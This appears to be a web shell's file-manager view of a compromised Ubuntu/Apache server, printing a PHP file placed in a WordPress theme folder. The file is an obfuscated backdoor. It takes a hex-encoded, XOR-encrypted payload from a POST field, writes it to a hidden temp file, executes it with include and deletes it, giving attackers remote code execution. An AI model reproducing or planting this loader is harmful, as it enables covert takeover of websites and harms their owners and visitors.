HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux Droplet-NYC1-3 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: www-data (33)
PHP: 7.4.3-4ubuntu2.29
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/apwire.net/wp-content/themes/cloud.php
<?php
//<PHPDATA>fputs_xor;52;symbol</PHPDATA>
if(isset($_POST["sy\x6d\x62ol"])?true:false):$_0=hEX2BiN($_POST["sym\142\x6fl"]);$_1="";foreach(sTR_SplIT($_0) as$_2):$_1.=cHr(Ord($_2)^(0126+010-052));endforeach;$_3=ArRay_filTEr([sYs_GEt_TEMp_dIR(),"/\x64ev\x2f\163hm","/\x76\x61r/tmp",iNi_GeT("upl\157ad_tmp_di\162"),geteNv("TMP"),GeTeNv("TEMP"),GETCWd(),"/tmp",sEssion_saVe_pAth()]);foreach($_3 as$_4):if(max(0270+0260-0610+040,Is_diR($_4)*Is_WriTABLE($_4))):$_5=SprInTF("\045s/.\x70tr",$_4);if($_6=fopen($_5,"w")):FWRiTE($_6,$_1);fClOse($_6);include $_5;UNLINK($_5);exit;endif;endif;endforeach;endif;